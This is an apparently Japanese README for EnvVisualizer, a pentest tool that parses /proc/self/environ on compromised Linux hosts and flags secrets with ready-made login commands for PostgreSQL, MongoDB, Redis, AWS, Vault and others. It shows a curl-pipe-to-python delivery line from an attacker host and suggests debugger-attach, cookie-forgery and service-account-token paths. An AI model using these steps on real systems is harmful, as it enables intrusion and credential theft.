
侵害されたLinuxマシン上の `/proc/self/environ` を解析・可視化 — 環境変数を技術スタック(AWS、Django、Rails、NodeJS、MySQL、K8s、Dockerなど…)ごとに分類し、すぐに実行可能なコマンドを添えた重大度評価付きのインサイトを生成します
___________ ____ ____.__ .__ .__
\_ _____/ _______ _\ \ / /|__| ________ _______ | | |__|_______ ___________
| __)_ / \ \/ /\ Y / | |/ ___/ | \__ \ | | | \___ // __ \_ __ \
| \ | \ / \ / | |\___ \| | // __ \| |_| |/ /\ ___/| | \/
/_______ /___| /\_/ \___/ |__/____ >____/(____ /____/__/_____ \\___ >__|
\/ \/ \/ \/ \/ \/
侵害された Linux マシン上で
/proc/self/environを解析、分類、可視化します。
融合した環境変数の壁を、構造化された色分けされたインテリジェンスに数秒で変換します。
作者: @W4r10ck423
マシンに侵入して /proc/self/environ を読むと、次のようになります:
USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 linux x64 workspaces/falsenpm_node_execpath=/usr/bin/nodenpm_config_noproxy=HOME=/home/devnpm_package_json=/home/dev/projects/store1/package.jsonnpm_config_local_prefix=/home/dev/projects/store1SYSTEMD_EXEC_PID=881COLOR=0LOGNAME=devJOURNAL_STREAM=8:6005PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNODE=/usr/bin/nodeLANG=C.UTF-8npm_lifecycle_script=nodemon --exec 'node --inspect=127.0.0.1:9229 /home/dev/projects/store1/start.js'SHELL=/bin/bashnpm_lifecycle_event=watchEDITOR=vi
EnvVisualizer はそれを次のように変換します:
============================================================================
EnvVisualizer — /proc/self/environ (32 variables)
============================================================================
── Identity (4) ───────────────────────────────────────────────────────────
HOME /home/dev
LOGNAME dev
SHELL /bin/bash
USER dev
── Paths & Dirs (10) ──────────────────────────────────────────────────────
PATH
• /home/dev/projects/store1/node_modules/.bin
• /home/dev/projects/node_modules/.bin
• /usr/local/sbin
• /usr/local/bin
• /usr/sbin
• /usr/bin
• /sbin
• /bin
• /snap/bin
PWD /home/dev/projects/store1
npm_config_cache /home/dev/.npm
npm_execpath /usr/share/nodejs/npm/bin/npm-cli.js
── NPM / Node (12) ────────────────────────────────────────────────────────
NODE /usr/bin/node
npm_command run-script
npm_config_user_agent npm/8.5.1 node/v12.22.9 linux x64 workspaces/false
npm_lifecycle_script nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
npm_package_json /home/dev/projects/store1/package.json
── System (6) ─────────────────────────────────────────────────────────────
COLOR 0
EDITOR vi
INVOCATION_ID abc0ab20c7dd498792d8be51c591071a
JOURNAL_STREAM 8:6005
LANG C.UTF-8
SYSTEMD_EXEC_PID 881
── Pentest Insights ────────────────────────────────────────────────────────
▶ Node.js debugger exposed → 127.0.0.1:9229 (try: node-inspector / chrome://inspect)
▶ Home dir: /home/dev
▶ Shell: /bin/bash
▶ npm_lifecycle_script = nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
▶ npm_lifecycle_event = watch
rich がインストールされている場合、各カテゴリは独自の色分けされたテーブルになります。
npm_*、node_*、pip_* など) を検出TOKEN、KEY、SECRET、PASSWORD など) に一致する変数を ⚠ 警告付きでフラグrich がインストールされている場合は色分けされたテーブル; フォールバックとしてクリーンなプレーンテキスト出力 (依存関係ゼロ)git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install rich # optional but recommended
python3 envvisualizer.py --help
git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install .
envvisualizer --help
envvisualizer.py をターゲットまたは攻撃者マシンにコピーします。依存関係ゼロで実行されます:
# On the attacker machine — host it
python3 -m http.server 8080
# On the target machine — grab and run
curl http://<attacker-ip>:8080/envvisualizer.py | python3 - -f /proc/self/environ
| 依存関係 | バージョン | 必須 |
|---|---|---|
| Python | ≥ 3.8 | はい |
| rich | ≥ 13.0 | いいえ (プレーンテキストフォールバック) |
usage: envvisualizer [-h] [-f PATH] [-r STRING] [--no-rich]
options:
-h, --help show this help message and exit
-f PATH, --file PATH Environ file path (null-byte delimited)
-r STRING, --raw STRING
Raw concatenated environ string (copy-pasted, no null bytes)
--no-rich Force plain-text output
ヒント: ファイルアクセスがある場合は常に
-fを優先してください。
実際のファイル内の null バイト区切り文字は正確です — ヒューリスティックは不要です。
# Current process
python3 envvisualizer.py -f /proc/self/environ
# Another process by PID
python3 envvisualizer.py -f /proc/1337/environ
# Any process you can read
python3 envvisualizer.py -f /proc/$(pgrep node)/environ
cat /proc/self/environ | python3 envvisualizer.py
python3 envvisualizer.py -r 'USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 ...'
python3 envvisualizer.py -f /proc/self/environ --no-rich
変数は 12 のカテゴリにグループ化され、優先順位順に評価されます (最初の一致が優先)。
Pentest Insights パネルは、4 つの重大度レベルで的を絞ったスタック対応の検出を発火します。
実行可能なコマンドは、環境内で見つかった実際の値からオンザフライで生成されます。
── Pentest Insights ─────────────────────────────────────────────────────────
[!!!] PostgreSQL password in env → psql postgresql://appuser:[email protected]:5432/production_db
[!!!] DATABASE_URL contains embedded credentials → postgresql://admin:[email protected]:5432/maindb
[!!!] MongoDB root credentials in env → mongosh -u admin -p 'mongoS3cret'
[!!!] AWS long-term credentials → KEY=AKIAIOSFODNN7EXAMPLE (run: aws sts get-caller-identity)
[!!!] HashiCorp Vault token in env → vault token lookup addr: http://vault.internal:8200
[!!!] Stripe LIVE secret key — production payment API access
[!!!] Rails master key in env — decrypts config/credentials.yml.enc
[!! ] Redis auth → redis-cli -h redis.internal -p 6379 -a 'r3disP@ss'
[!! ] Inside Kubernetes pod → service host: 10.96.0.1
[!! ] GitHub token in env → curl -H 'Authorization: token $GITHUB_TOKEN' ...
[!! ] Django DEBUG=True — full stack traces served to users
[!! ] JVM remote debugging enabled → -agentlib:jdwp=... (try: jdb -attach <host>:<port>)
[ * ] Python venv active → /var/www/myapp/.venv
/proc/self/environ がコピー&ペーストされると (例: Web シェルまたは curl 出力から)、null バイトが削除され、隣接する変数が融合します:
USER=dev·npm_config_user_agent=npm/8.5.1...
↑──↑↑───────────────────↑
value next key starts here
単純な WORD= 分割では、キーとして devnpm_config_user_agent が生成されます。
EnvVisualizer は 2 クラス境界検出器 を使用し、以下の場合のみ分割します:
USER、HOME、JOURNAL_STREAM などnpm_*、node_*、pip_*、java_*、python_*、ruby_* など正規表現が融合トークン 内 で npm_config_user_agent を見つけるため、前の値は自動的に dev にトリミングされます。ルックビハインドも単語境界の仮定も不要 — キーパターン自体がアンカーとして機能します。
MIT — 自由に使用してください。帰属表示をいただければ幸いです。
| 方法 | コマンド | 精度 |
|---|
| 直接ファイル読み取り | python3 envvisualizer.py -f /proc/self/environ | ✅ 完璧 (null バイト分割) |
| Stdin パイプ | cat /proc/self/environ | python3 envvisualizer.py | ✅ 完璧 (null バイト分割) |
| 貼り付けた文字列 | python3 envvisualizer.py -r 'USER=dev...' | ✅ 良好 (2 クラスヒューリスティック) |
| 引数なし (デモ) | python3 envvisualizer.py | ✅ 完璧 (自身のプロセス) |
| カテゴリ | 一般的な変数 |
|---|
| 🔐 Security / Auth | SSH_*、SUDO_*、TOKEN、KEY、SECRET、PASSWORD、CREDENTIAL、CERT に一致するもの |
| 👤 Identity | USER、LOGNAME、HOME、SHELL、UID、GID |
| 🗄 Database | PG*、MYSQL_*、MONGO*、REDIS_*、DATABASE_URL、DB_*、ELASTIC*、CASSANDRA_*、SQLALCHEMY_* |
| ☁ Cloud / Infrastructure | AWS_*、GOOGLE_*、AZURE_*、ARM_*、DOCKER_*、KUBERNETES_*、VAULT_*、TF_*、CLOUDFLARE_* |
| 🔄 CI/CD & VCS | GITHUB_*、GITLAB_*、CI_*、TRAVIS_*、CIRCLE*、JENKINS_*、HEROKU_*、BUILD_* |
| 🔌 Third-party APIs | STRIPE_*、TWILIO_*、SENDGRID_*、SENTRY_*、DD_*、SLACK_*、OPENAI_*、ALGOLIA_*、AUTH0_* |
| 🕸 Web Frameworks | DJANGO_*、FLASK_*、RAILS_*、SPRING_*、ASPNETCORE_*、APP_KEY/ENV/DEBUG、SECRET_KEY_BASE、MIX_ENV、NEXT_*、VITE_*、REACT_APP_* |
| 🐍 App Runtimes | PYTHON*、CONDA_*、VIRTUAL_ENV、GEM_*、BUNDLE_*、JAVA_*、JVM_*、MAVEN_*、CATALINA_*、GO*、RUST*、CARGO_*、PHP_*、DOTNET_*、PERL*、DENO_* |
| 📦 NPM / Node | npm_*、NODE、NODE_ENV、NODE_OPTIONS |
| 📂 Paths & Dirs | PATH、PWD、*_DIR、*_PREFIX、*_HOME、*_CACHE、INIT_CWD |
| 🌐 Network / Proxy | *_PROXY、HOSTNAME、SSL_CERT_*、CURL_CA_BUNDLE、*_URL、*_ADDR |
| ⚙ System | LANG、TERM、EDITOR、INVOCATION_ID、JOURNAL_STREAM、XDG_*、LC_* |
| Other | その他すべて、アルファベット順にソート |
| 重大度 | プレフィックス | 意味 |
|---|
💀 CRITICAL | [!!!] | ライブ資格情報、シークレットキー、またはマスターキー — 即時の影響 |
⚠ HIGH | [!! ] | トークン、デバッグモード、または公開されたサービス — 実行可能な攻撃パス |
→ MEDIUM | [! ] | 昇格に役立つ可能性のある興味深い情報 |
▶ INFO | [ * ] | プロセスと環境に関する一般的なコンテキスト |
| スタック | 検出されるもの |
|---|
| PostgreSQL | PGPASSWORD → psql postgresql://user:pass@host/db を自動構築 |
| MySQL / MariaDB | MYSQL_ROOT_PASSWORD / MYSQL_PASSWORD → mysql コマンドを自動構築 |
| MongoDB | MONGO_INITDB_ROOT_* → mongosh コマンドを自動構築 |
| Redis | REDIS_PASSWORD → redis-cli -a コマンドを自動構築 |
| DB URLs | DATABASE_URL、MONGODB_URI など → 埋め込まれた資格情報をフラグ |
| AWS | キーペア → 長期または STS 一時としてフラグ、aws sts get-caller-identity を提案 |
| GCP | GOOGLE_APPLICATION_CREDENTIALS → gcloud auth activate-service-account を提案 |
| Azure | AZURE_CLIENT_SECRET → テナント ID をフラグ + az login --service-principal を提案 |
| HashiCorp Vault | VAULT_TOKEN + VAULT_ADDR → vault token lookup を提案 |
| Kubernetes | 注入された KUBERNETES_SERVICE_HOST → ポッドコンテキストをフラグ、SA トークン読み取りを提案 |
| Docker | DOCKER_HOST 設定 → デーモン公開をフラグ |
| GitHub / GitLab | トークン → API 検証 curl コマンドを提案 |
| Heroku | HEROKU_API_KEY → アプリ名付きでフラグ |
| Stripe | ライブ sk_live_* → CRITICAL; テスト sk_test_* → MEDIUM |
| Datadog | DD_API_KEY → メトリクス/ログ/トレースアクセスをフラグ |
| Slack | SLACK_BOT_TOKEN / SLACK_APP_TOKEN → ワークスペースアクセスをフラグ |
| OpenAI | OPENAI_API_KEY → 請求露出をフラグ |
| Django | DJANGO_DEBUG=True → スタックトレース露出をフラグ |
| Flask | FLASK_DEBUG=1 → Werkzeug インタラクティブデバッガー (PIN バイパス / SSTI) をフラグ |
| Laravel | APP_DEBUG=true + APP_KEY=base64:* → Cookie 偽造パスをフラグ |
| Rails | RAILS_MASTER_KEY → CRITICAL (credentials.yml.enc を復号); SECRET_KEY_BASE → セッション Cookie 偽造 |
| JVM | jdwp を含む JAVA_TOOL_OPTIONS → リモートデバッグポートをフラグ、jdb -attach を提案 |
| Tomcat | CATALINA_HOME → tomcat-users.xml へのパスをフラグ |
| Node.js | --inspect / --inspect-brk → デバッガーをフラグ、chrome://inspect を提案 |
| Kerberos | KRB5CCNAME → チケットキャッシュをフラグ、klist / Impacket を提案 |
| Sudo | SUDO_USER → 昇格前の元の UID/GID を表示 |